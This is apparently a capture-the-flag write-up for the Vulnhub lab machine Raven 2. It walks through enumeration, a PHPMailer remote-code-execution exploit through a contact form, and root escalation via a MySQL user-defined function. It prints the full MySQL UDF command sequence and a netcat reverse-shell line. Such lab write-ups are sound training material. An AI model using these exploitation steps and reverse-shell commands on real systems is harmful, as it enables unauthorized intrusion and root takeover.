Vulnhub: Raven 2

At the time of writing, Raven 2 is the newest machine on Vulnhub. Here is a link to the machine. It is a medium difficulty CTF. It took about a bit of time to go from boot to root, but nothing felt impossible. Here are the steps I took in order to gain root access.

Part 1: Enumeration

As per usual, I started attacking the machine with an nmap scan. Here are the results.

nmap -sS -p- -A -T5 -v 192.168.86.190
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
| 2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
| 256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_ 256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|http-server-header: Apache/2.4.10 (Debian) |_http-title: Raven Security
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 52605/tcp status
| 100024 1 55554/udp status
52605/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:2E:38:F6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 198.048 days (since Tue Jun 12 20:42:01 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.54 ms raven.lan (192.168.86.190)

From the initial nmap scan, I saw that this is a debian machine running an Apache web server and SSH. Googling Debian and Apache 2.4.10, I also found that the server is likely Debian 8 Jessie. The server is called raven.lan, so I added that to my hosts file. Ports 111 and 52605 were also open, but I did not find anything useful from them. Similarly, a UDP scan found nothing of interest. My initial foothold would have to be through the web server.

The website is for a security company called Raven Security. They have a contact form and wordpress blog. The wordpress blog did not render correctly. There were missing elements all over the page

The WordPress blog has missing elements.

I looked at the source code for the page. It was trying to load resources from raven.local. So, I added raven.local to my hosts file and the site operated as intended.

I added raven.local to my hosts file

Afterwards, I ran some standard scans on the website. First, I ran nikto.

nikto -host raven.local

- Nikto v2.1.6
Target IP: 192.168.86.190
Target Hostname: raven.local
Target Port: 80
+ Start Time: 2018-12-29 17:51:34 (GMT-5)
Server: Apache/2.4.10 (Debian)
Server leaks inodes via ETags, header found with file /, fields: 0x41b3 0x5734482bdcb00
The anti-clickjacking X-Frame-Options header is not present.
The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
No CGI Directories found (use '-C all' to force check all possible dirs)
Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
OSVDB-3268: /img/: Directory indexing found.
OSVDB-3092: /img/: This might be interesting…
OSVDB-3092: /manual/: Web server manual found.
OSVDB-3268: /manual/images/: Directory indexing found.
OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
OSVDB-3233: /icons/README: Apache default file found.
Uncommon header 'link' found, with contents: http://raven.local/wordpress/index.php/wp-json/; rel="https://api.w.org/"
/wordpress/: A WordPress installation was found.
7445 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2018-12-29 17:51:55 (GMT-5) (21 seconds)
1 host(s) tested

From nikto, I learned that directory listing was enabled. Directory listing is often helpful when working on CTF boxes. There was also a .DS_Store file file on the server that could lead to further file disclosure. Unfortunately, the .DS_Store file did not contain anything useful other than a hidden directory describing the theme being used.

Next, I ran wpscan. WordPress was fully up to date and there were no vulnerable plugins nor themes used. I found two users, steven and michael. I ran a brute force attack against them in the background, but ultimately this proved fruitless. WordPress was a rabbit hole.

Finally, I ran dirb to attempt to find any hidden directories. Most notably, dirb from a directory named “vendor” which contained an outdated install of phpmailer

The vendor directory contains phpmailer.

Two files in the vendor directory revealed important information. First, the VERSION file showed that the version of phpmailer installed was 5.2.16. Secondly, the PATH file showed that the web server was being hosting in /var/www/html/. This information is a bit redundant since I already knew that this was as a Debian 8 machine running Apache. Nevertheless, confirming the path to the web site could potentially save me from headaches later on.

Part 2: Initial Foothold

To get into the system, I ran searchsploit on phpmailer to see if the current version had any exploits available. Indeed, phpmailer 5.2.16 had some remote code execution bugs I could exploit to get a reverse shell.

Searchsploit shows many exploits available for phpmailer.

PHPMailer is more of a library than a web application. Therefore, I had to find a page on the site that used PHPMailer to send an e-mail. I remembered that the main site had a contact page with a form that looked suspiciously like it sent an e-mail. I fired up Burp Suite, filled up a contact form, and send a request. Burp Suite showed that the request was going to a page called mail.php.

The contact page sends requests to mail.php

There was one big problem though; mail.php doesn’t exist! Had this not been a CTF, I probably would have assumed the site was broken and trying to exploit phpmailer without an e-mailing form would have not been worht my time. However, I noticed that the contact page was written in PHP whereas the rest of the main pages were plain HTML. Out f ideas, I tried running the phpmailer exploits on contact.php.

In CTF challenges, when a metasploit exploit is viable, I usually try that one first. A lot of CTF authors have metasploit in mind when developing their challenges. So, I tried the PHPMailer metasploit exploit module on contact.php.

Metasploit options for a successful attack against phpmailer.

Much to my surprise, I got a meterpreter shell from the vulnerable machine! It worked!.

The PHPMailer exploit is fairly straightforward. CVE-2016-10045 describes the details of the vulnerability. Essentially, we format our input to write files into the web directory which, in this case, contains PHP code. When you navigate to the page you wrote, the server executes the PHP code. I was able to get another reverse shell straight from Burp Suite by editing the contact request I captured earlier.

Sending a request to PHPMailer from Burp Suite to get a reverse shell.

Part 3: Privilege Escalation

After I got a shell, I looked around the system for useful information. The /etc/passwd file shows three users of note: root, michael, and steven. I then went into the wordpress directory and got the login for the database from /var/www/html/wordpress/wp-config.php

From wp-config.php:
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

I logged into the database and dumped the WordPress users which also have steven and michael logins. It might have been possible to launch an offline attack to try to brute force their logins and then hope they reused their logins for SSH access. Since my remote brute forcing for WordPress did not seem fruitful, I decided to hold off on trying this.

I found that the server was running Linux 3.16, and it might be vulnerable to dirty cow. I tried running a few dirty cow attacks with not success though. I then noticed that mysqld was running as root, and I knew root login to MySQL, so MySQL was my next target

The MySQL version on the system was 5.5.60. A run of searchsploit found a vulnerability to a race condition that could potentially escelate my privileges to root. Compiling the exploit required downloading Debian 8 and installing the requirements from a new virtual machine. I uploaded the binary only to find the exploit did not work.

Next, I tried using a user defined functions (UDF) for MySQL. Since mysqld was running as root, functions it run would also execute with root privileges. Here is a link to the exploit I used. Essentially, I compile a shared library that can run shell command, then I trick MySQL to install and use it. Here is wrote I wrote to get a reverse root shell.

www-data@Raven:/tmp$ gcc -shared -fPIC -o raptor_udf2.so raptor_udf2.c
gcc -shared -fPIC -o raptor_udf2.so raptor_udf2.c
www-data@Raven:/tmp$ ls
ls
LinEnum.sh exploit mysql_root.sh test_dir
LinEnum.txt exploit.c raptor_udf2.c unix-privesc-check
bak la.c raptor_udf2.o
cowroot mysql-privesc-race raptor_udf2.so
cowroot.c mysql_privesc_exploit sql_root.c
www-data@Raven:/tmp$ mysql -u root -p
mysql -u root -p
Enter password: R@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 279267
Server version: 5.5.60-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.04 sec)
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.03 sec)
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname 'raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
ERROR 1126 (HY000): Can't open shared library 'raptor_udf2.so' (errno: 0 /usr/lib/mysql/plugin/raptor_udf2.so: cannot open shared object file: No such file or directory)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
<to dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname 'raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.01 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)
mysql> select do_system('nc -e /bin/sh 192.168.86.191 1338');
select do_system('nc -e /bin/sh 192.168.86.191 1338');

So here’s what all those commands did. First, I compiled the code into a shared library. Then I opened up a MySQL console. I read the compiled library into a field in the database. I then had mysqld write the library in MySQL’s shared library directory. I then created the UDF to call do_system in the shared library I compiled. I used do_system to create a reverse root shell back to my machine

I got root!

A reverse shell with root access!